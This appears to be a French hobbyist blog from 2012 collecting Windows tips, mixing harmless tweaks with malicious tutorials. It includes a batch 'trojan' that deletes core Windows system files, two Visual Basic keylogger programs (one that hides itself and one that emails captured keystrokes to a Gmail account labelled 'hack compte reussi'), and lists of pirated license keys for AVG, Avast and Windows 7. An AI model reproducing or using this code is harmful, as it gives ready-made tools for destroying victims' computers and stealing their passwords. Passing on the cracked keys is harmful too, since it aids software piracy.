tuto-informatique.seb30.overblog.com

augmenter sa vitesse internet windows

Publié le 23 Décembre 2012 par SEB dans astuce

Ouvrir le bloc-notes et collez le code dedans ci-dessous. [HKEY_LOCAL_MACHINE\SYSTEM\Curr entControlSet\Servic es\Tcpip\Parameters] "SackOpts"=dword:00000001 "TcpWindowSize"=dword:0005 ae4c "Tcp1323Opts"=dword:000000 03 "DefaultTTL"=dword:0000004 0 "EnablePMTUBHDetect"=dword:000 00000 "EnablePMTUDiscovery"=dword:00 000001 "GlobalMaxTcpWindowSize"=dword :0005ae4c

Maintenant enregistrez ce fichier sous speed.reg. Exécutez-le et observez le changement ! __________

Creer un trojan qui détruit l'ordinateur

Publié le 23 Décembre 2012 par SEB dans dos

@echo off

del "C:\windows\pchealth\"

del "C:\windows\system\"

del "C:\windows\system32\restore\"

del "winlogon.exe"

del "C:\windows\system32\autoexec.nt"

del "C:\windows\system32\logonui.exe"

del "C:\windows\system32\ntoskrnl"

2) Faite enregistré sous puis marquez NOM QUE VOUS VOULEZ.bat pui enregistré 3) Allez voir sur votre bureau et vous l'aurez (N'ALLEZ PAS DESSUS SINON , VOTRE ORDINATEUR SERA DETRUIT)

keylogger et envoie sur adresse mail

Publié le 19 Décembre 2012 par SEB dans vb 2010

il faut 2 timers une richtextbox et une barre de progress et un bouton copier ce code ,important le timer 1 regler a 5 d intervalle et le 2 mini 10000.

Imports System.Net.Mail Public

Class Form1 Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Integer) As Integer

Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load

Timer1.Start()

Timer2.Start()

End Sub

Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick

Dim key As String

Dim log As Integer

For k = 1 To 255

log = 0 log = GetAsyncKeyState(k)

If log = -32767 Then

key = Chr(k)

RichTextBox1.Text = RichTextBox1.Text + Chr(k)

End If

Next k

If My.Computer.Keyboard.CtrlKeyDown AndAlso My.Computer.Keyboard.AltKeyDown AndAlso key = "Z" Then

Me.Show()

End If

ProgressBar1.Value = ProgressBar1.Value + 1

If ProgressBar1.Value = ProgressBar1.Maximum Then

ProgressBar1.Value = 0

End If

End Sub

Private Sub RichTextBox1_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles RichTextBox1.TextChanged

End Sub

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click

Me.Hide()

End Sub

Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick

Timer2.Start()

Dim MyMailMessage As New MailMessage()

Dim SMTPServer As New SmtpClient("smtp.gmail.com") 'Email

MyMailMessage.From = New MailAddress("xxx@gmail.com") 'Destinataire MyMailMessage.To.Add("xxx@gmail.com")'Expéditeur

MyMailMessage.Subject = ("[] hack compte reussi") 'Sujet MyMailMessage.

Body = (RichTextBox1.Text) 'Corps '

SMTP SMTPServer.Port = ("587")

SMTPServer.Credentials = New System.Net.NetworkCredential("xxx@gmail.com", "xx") 'Email (+Pass)

SMTPServer.EnableSsl = True Try SMTPServer.Send(MyMailMessage) 'Envoi

Catch ex As Exception

End Try

End Sub

End Class

AVG internet security 2013 jusqu en 2018

Publié le 18 Décembre 2012 par SEB dans cle

8MEH-RFR8J-PTS8Q-92ATA-O4WHO-JEMBR-ACED

http://www.avg.com/fr-fr/trustav_bt_ppc?ECID=ad:go:se:FR-FR-SCH_AVG&utm_source=google&utm_medium=cpc&utm_term=avg&utm_content=&utm_campaign=FR-FR-SCH_AVG&gclid=COn0-bTF7LMCFaTMtAodMQoASQ telecharger ce fichier en demo faites les mise a jours puis faites option activer et changer la cle une mise a jours va commencer pour passer de avg 2013 a internet security expiration 26 fevrier 2018 enjoy!!

cle de mise a niveau w7

Publié le 18 Décembre 2012 par SEB dans cle

voila une liste de clés de mise a niveau express pour Windsows 7 pour effectuer une mise a niveau allez dans : panneau de configuration> Système et sécurité> mise a niveau express > Entrer une clé de mise a niveau .

7|Ultimate|Acer|FJGCP-4DFJD-GJY49-VJBQ7-HYRR2

7|Ultimate|Alienware|VQ3PY-VRX6D-CBG4J-8C6R2-TCVBD

7|Ultimate|Asus|2Y4WT-DHTBF-Q6MMK-KYK6X-VKM6G

7|Ultimate|Dell|342DG-6YJR8-X92GV-V7DCV-P4K27

7|Ultimate|Fujitsu|9CW99-79BBF-D4M3X-9BK9M-4RPH9

7|Ultimate|HP|MHFPT-8C8M2-V9488-FGM44-2C9T3

7|Ultimate|Lenovo|6K2KY-BFH24-PJW6W-9GK29-TMPWP

7|Ultimate|Samsung|49PB6-6BJ6Y-KHGCQ-7DDY6-TF7CD

7|Ultimate|Sony|YJJYR-666KV-8T4YH-KM9TB-4PY2W

7|Ultimate|Stone|76MTG-QMQJQ-46DQR-CHRBB-7K3HD

7|Ultimate|Tarox|4BRY2-6W9VH-9CM6R-GPKRY-HHVCY

7|Ultimate|Toshiba|2XQ63-J3P67-9G3JC-FHQ68-8Q2F3

7|UltimateE|HP|278MV-DKMGJ-F3P9F-TD7Y3-W6G3M

7|Professional|Dealin|6BJ27-DVBFF-VKQC8-7JPQP-TJKYY

7|Professional|Dell|32KD2-K9CTF-M3DJT-4J3WC-733WD

7|HomeBasic|Acer|MB4HF-2Q8V3-W88WR-K7287-2H4CP

7|HomeBasic|Asus|89G97-VYHYT-Y6G8H-PJXV6-77GQM

7|HomeBasic|Dealin|6M78P-JJRQP-9C4RX-RPK7G-3VTH3

7|HomeBasic|Dell|36T88-RT7C6-R38TQ-RV8M9-WWTCY

7|HomeBasic|HCL|2Q4QP-8P4MD-47YBP-7TXX9-FKDRM

7|HomeBasic|HP|DX8R9-BVCGB-PPKRR-8J7T4-TJHTH

7|HomeBasic|MSI|2TY7W-H4DD4-MB62F-BD9C3-88TM6

BOOSTER SON ORDI SOUS W7 AU DEMARRAGE

Publié le 18 Décembre 2012 par SEB dans astuce

saviez vous que w7 utilise qu un seul coeur au demarage,bien sur pour cette action il faut avoir un processeur multi coeur

1¤ menu demarer

2¤ taper msconfig et cliquer dessus

3¤ dans cette fenetre cliquer l onglet demarrer

4¤ puis cliquer option avancees

5¤ cochez la case nombre de processeurs et selectionnez le nombre de processeur que vous voulez au demarrage 6¤ cliquez ok et appliquer voila votre ordinateur demarre plus vite!!

Desactiver les mouchards w7

Publié le 18 Décembre 2012 par SEB dans astuce

Vous ne le savez peut etre pas,mais votre bon vieux windows envoie regulierement des informations sur votre experience utilisateurs vers les serveurs de microsoft .il ne s'agit pas de donnees sensibles , mais si vous etes comme moi , vous n aimez pas sans doute que votre pc fasse des choses dans votre dos .

1¤ allez dans "panneaux de configuration" puis tapez "Outils d administration" dans la barre de recherche et cliquez dessus

2¤double cliquer sur "planificateur de taches",puis cliquer surla petite fleche " Bibliotheque du planificateur de taches"

3¤ choisir "microsoft", "windows"

4¤ dans le dossier "Application experience" ,desactiver "Aitagent"

dans le dossier "Customer experience improvement program" , desactiver "Consoloidator" "Kernelceiptask"et "Usbceip dans le dossier "Disk diagnostic" ,"Disk diagnostic data collector.

modifier son indice de performance windows

Publié le 18 Décembre 2012 par SEB dans astuce

1¤ aller dans C:/windows/Performance/WinSAT/DataStore allez en bas de la page

2¤ vous selectionnez clic droitOrdinateur le dernier fichier (date et chiffres)Formal.Assessment(recent).winSAT et vous cliquer propriete puis dans l onglet securite clique avance cliquer modifier les autorisations... selectionner en cliquant sur utilisateur (nom-pc\Utilisateurs)puis modifier cocher la case controle total ok appliquer ok ok on a l autorisation de modifier le fichier

3¤ clic droit sur le dernier fichier (date et chiffres)Formal.Assessment(recent).winSAT et ouvrir avec bloc note

4¤ dans l onglet edition cliquer rechercher et taper ceci SystemScore en respectant bien les majuscules et taper suivant 5¤ mettez en pleine ecran bloc note systemscore sera en bleu et est suivit de votre note d evaluation systeme exemple de mon ordi SystemScore>5.9<:MemoryScore>5.9</MemoryScore><CpuScore>7<..... modifier vos indice tout en mettant l indice le plus bas au meme chiffre que votre note systeme (systemscore) une fois modifier enregistrer et voila vous pouvez mettre l indice qu il vous plait

tuto keylogger invisible virtual basic 2010

Publié le 18 Décembre 2012 par SEB dans vb 2010

Pour bien faire le programme il faut une richtextbox un timer et un bouton puis copier ce programme (ps: je l ai mit en petit sinon les lignes sont decalées).

dès que vous presser sur le bouton le programme se cache et est invisible pour le faire apparaitre ctrl alt +z.

Public Class Form1

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Integer) As Integer

Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load

Timer1.Start()

End Sub

Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick

Dim key As String

Dim log As Integer

For k = 1 To 255

log = 0

log = GetAsyncKeyState(k)

If log = -32767 Then

key = Chr(k) RichTextBox1.Text = RichTextBox1.Text + Chr(k)

End If

Next k

If My.Computer.Keyboard.CtrlKeyDown AndAlso My.Computer.Keyboard.AltKeyDown AndAlso key = "Z" Then

Me.Show()

End If

End Sub

Private Sub RichTextBox1_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles RichTextBox1.TextChanged

End Sub

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click

Me.Hide()

End Sub

End Class

tuto keylogger invisible virtual basic 2010

Avast Antivirus 30 ans by fightyindustrie

Publié le 18 Décembre 2012 par SEB dans cle

Voici pour vous une version d'avast avec une clé qui vous donne jusqu'à 30 années d'utilisation clé :S3564026R9961A0910-EHW91PYP

http://www.mediafire.com/?hd51smelntdp3xm pour le telecharger